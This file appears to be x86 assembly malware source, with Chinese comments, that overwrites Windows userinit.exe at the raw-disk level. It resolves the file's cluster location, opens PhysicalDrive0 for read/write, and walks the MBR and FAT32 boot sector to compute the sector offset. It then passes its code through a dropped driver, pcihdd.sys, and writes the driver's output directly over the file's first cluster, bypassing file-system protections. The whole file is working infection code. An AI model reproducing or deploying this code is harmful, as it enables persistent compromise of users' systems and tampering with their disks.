📄 test.asm
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call RtlZeroMemory
push 110h ;初始化
lea eax, OutBuffer
push eax
call RtlZeroMemory
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push 110h ; nOutBufferSize
lea eax, OutBuffer
push eax ; lpOutBuffer
push 8 ; nInBufferSize
lea eax, InBuffer
push eax ; lpInBuffer
push 90073h ; dwIoControlCode = FSCTL_GET_RETRIEVAL_POINTERS
push hObject ; hDevice
call DeviceIoControl ;通过FSCTL_GET_RETRIEVAL_POINTERS获取userinit文件数据的分布信息
or eax, eax
jz DeviceIoControlFailed
;这个结构是8字节对齐的,结构长度32字节
;typedef struct RETRIEVAL_POINTERS_BUFFER
;{
; DWORD ExtentCount;
; LARGE_INTEGER StartingVcn;
; struct
; {
; LARGE_INTEGER NextVcn;
; LARGE_INTEGER Lcn;
; } Extents[1];
;} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;
;typedef union union
;{
; struct
; {
; DWORD LowPart;
; LONG HighPart;
; };
; LONGLONG QuadPart;
;} LARGE_INTEGER, *PLARGE_INTEGER;
lea edi, OutBuffer ;OutBuffer是上面结构体指针
mov ebx, [edi] ;ExtentCount = Extents数组元素个数
lea edi, [edi+10h] ;指向Extents数组首地址,根据字节对齐
mov eax, DistanceToMoveHigh
or ebx, ebx ;判断ExtentCount是否为0
jz ExtentCountIsZero
mov eax, [edi+8] ;指向Extents[0].Lcn.LowPart
mov edx, [edi+0Ch] ;指向Extents[0].Lcn.HighPart
cmp eax, 0FFFFFFFFh
jz FEIHUA
cmp edx, 0FFFFFFFFh
jz FEIHUA
mov dwLowPartofLcn, eax ;保存lcn低32位
mov dwHighPartofLcn, edx ;保存lcn高32位
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, Buffer
push eax ; lpBuffer
push hObject ; hFile
call ReadFile ;读取userinit文件开头512字节
push hObject ; hObject
call CloseHandle
mov hObject, 0 ;关闭文件
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 0C0000000h ; dwDesiredAccess
push offset a_Physicaldrive ; "\\\\.\\PhysicalDrive0"
call CreateFileA ;打开物理硬盘读写
cmp eax, 0FFFFFFFFh
jz OPENPHYSICSFAILED
mov hFile, eax
push 0 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
push 0 ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ; 定位
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;读取硬盘主引导分区MBR
;
; 0000 |------------------------------------------------|
; | |
; | |
; | Master Boot Record |
; | |
; | |
; | 主引导记录(446字节) |
; | |
; | |
; | |
; 01BD | |
; 01BE |------------------------------------------------|
; | |
; 01CD | 分区信息 1(16字节) |
; 01CE |------------------------------------------------|
; | |
; 01DD | 分区信息 2(16字节) |
; 01DE |------------------------------------------------|
; | |
; 01ED | 分区信息 3(16字节) |
; 01EE |------------------------------------------------|
; | |
; 01FD | 分区信息 4(16字节) |
; |------------------------------------------------|
; | 01FE | 01FF |
; | 55 | AA |
; |------------------------------------------------|
;分区表
;
; 分区表是一个链表，主分区表是分区链表的第一个节点。由于主分区表中只能分四个分区, 无法满足需求, 因此设计了一种扩展分区格式。扩展分区就是分区表的第二个节点到最后一个节点。
;
; 主分区表是从主引导扇区第0x1BE字节开始的，共64个字节，最后是0x55AA。64个字节的分区信息分为四组，每16字节为一组。每组的数据结构是这样的：
;
;typedef struct
;{
; BYTE byState;//分区状态, 0 = 未激活, 0x80 = 激活
; BYTE byBeginHead;//分区起始磁头号
; WORD wBeginSC;//分区起始扇区和柱面号, 底字节的低6位为扇区号, 高2位为柱面号的第 9,10 位, 高字节为柱面号的低 8 位
; BYTE byFSID; //分区类型, 如 0x0B = FAT32, 0x83 = Linux 等, 00 表示此项未用
; BYTE byEndHead;//分区结束磁头号
; WORD wEndSC;//分区结束扇区和柱面号
; DWORD dwInfoAreaSectors;//在线性寻址方式下的分区相对扇区地址
; DWORD dwSectors;//分区大小 (总扇区数)
;} INFOAREA_PARAM;//磁盘的分区信息
lea edi, PhysicalBuff
cmp byte ptr [edi+1BEh], 80h ;byState判断是否为活动分区
jnz NOTACTIVEDISK
movzx ebx, byte ptr [edi+1C2h] ;byFSID判断分区类型
cmp ebx, 0Bh
jz FAT32 ;Win95 FAT32
cmp ebx, 0Ch
jz FAT32 ;Win95 FAT32 LBA
cmp ebx, 7
jnz NTFS ;HPFS/NTFS
FAT32:
mov eax, [edi+1C6h] ;C盘起始扇区（首扇区的相对扇区号）
mov StartSectorC, eax
xor edx, edx
imul eax, 200h ;求出实际的字节偏移
mov DistanceToMoveHigh, edx
mov ecx, eax
push 0 ; dwMoveMethod
lea eax, DistanceToMoveHigh
push eax ; lpDistanceToMoveHigh
push ecx ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ;定位到硬盘C盘起始扇区的绝对位置
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;读硬盘C盘起始扇区 即：第一个分区的引导扇区BPB
lea edi, PhysicalBuff
movzx eax, word ptr [edi+0Eh]; BPB_RsvdSecCnt = 保留扇区数量
add StartSectorC, eax
cmp ebx, 0Bh ;Win95 FAT32
jz WIN95FAT32
cmp ebx, 0Ch ;Win95 FAT32 LBA
jnz short FAT32LBA
WIN95FAT32:
movzx ecx, byte ptr [edi+10h]; BPB_NumFATS = 每个分区占用的FAT表 数
mov eax, [edi+24h] ; BPB_FATSz32 = 每个FAT占用扇区数
xor edx, edx
imul eax, ecx
add StartSectorC, eax ;数据记录起始扇区
FAT32LBA:
mov eax, dwLowPartofLcn
mov edx, dwHighPartofLcn
movzx ecx, byte ptr [edi+0Dh] ;BPB_SecPerClus = 每簇多少扇区
mov nNumberOfBytesToWrite, ecx
imul eax, ecx
add eax, StartSectorC
adc edx, 0
imul eax, 200h ;求出绝对偏移字节位置
mov HighOffset, edx ;偏移高32位
mov lDistanceToMove, eax ;低32位
push 0 ; dwMoveMethod
lea eax, HighOffset
push eax ; lpDistanceToMoveHigh
push lDistanceToMove ; lDistanceToMove
push hFile ; hFile
call SetFilePointer
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;在找到的硬盘扇区读
lea edi, PhysicalBuff
lea esi, Buffer
mov ecx, 200h
repe cmpsb ;通过对比ReadFile读取的文件数据和自己定位后直接读取所得到的文件数据，确定定位是否正确
or ecx, ecx
jnz DIFF
push 0 ; dwMoveMethod
lea eax, HighOffset
push eax ; lpDistanceToMoveHigh
push lDistanceToMove ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ;重新定位到上面找到的硬盘扇区处
mov eax, nNumberOfBytesToWrite
shl eax, 9 ;这个值是作者估算的
mov nNumberOfBytesToWrite, eax
push nNumberOfBytesToWrite ; dwBytes
push 40h ; uFlags
call GlobalAlloc
or eax, eax
jz ALLOCMEMORYFAILED
mov lpBuffer,eax
mov ecx, offset MessageBoxA
sub ecx, offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
;把整个代码体作为参数传递给pcihdd.sys,控制码0xF0003C04，
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push nNumberOfBytesToWrite ; nOutBufferSize
push lpBuffer ; lpOutBuffer
push ecx ; nInBufferSize
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
push 0F0003C04h ; dwIoControlCode
push hDevice ; hDevice
call DeviceIoControl
;并将pcihdd返回的数据直接写入userinit.exe的第一簇
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesWritten
push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push lpBuffer ; lpBuffer
push hFile ; hFile
call WriteFile
push hFile ; hFile
call FlushFileBuffers
mov dwRet, 0
jmp OVER
ALLOCMEMORYFAILED:
; "分配内存不成功"
mov dwRet, offset aFCJ
OVER: ; hMem
push lpBuffer
call GlobalFree
jmp FINISHED
DIFF:
mov dwRet, offset ERR1
jmp FINISHED
NTFS:
mov dwRet, offset ERR2
jmp FINISHED
NOTACTIVEDISK:
mov dwRet, offset ERR3
FINISHED: ; hObject
push hFile
call CloseHandle
jmp OPENPHYSICSFAILED
FEIHUA:
mov dwRet, offset ERR4
OPENPHYSICSFAILED: ;打开硬盘设备失败
jmp ExtentCountIsZero
DeviceIoControlFailed:
mov dwRet, offset ERR5
ExtentCountIsZero:
cmp hObject, 0
jz ZeroObject
push hObject ; hObject
call CloseHandle
jmp ZeroObject
CreateUserInitFileFailed:
mov dwRet, offset ERR6
ZeroObject: ; hObject
push hDevice
call CloseHandle
jmp EXIT
CreateFileFailed:
mov dwRet, offset ERR7
EXIT:
popa
mov eax, dwRet
ret
DoMyWork endp
start proc
push 0 ; lpModuleName
call GetModuleHandleA
mov hModule, eax
call LoadServiceFromRes ;load service from resource
push 100h ; nSize
push offset Dst ; lpDst
push offset aSystemrootSyst ; "%SystemRoot%\\System32\\Userinit.exe"
call ExpandEnvironmentStringsA
push offset Dst ; lpFileName
call DoMyWork
or eax, eax
jnz FAILED
push offset OutputString ;
call OutputDebugStringA
jmp Exit
FAILED: ; lpOutputString
push eax
call OutputDebugStringA
Exit:
call QuitService
push 0 ; uExitCode
call ExitProcess
start endp
end start
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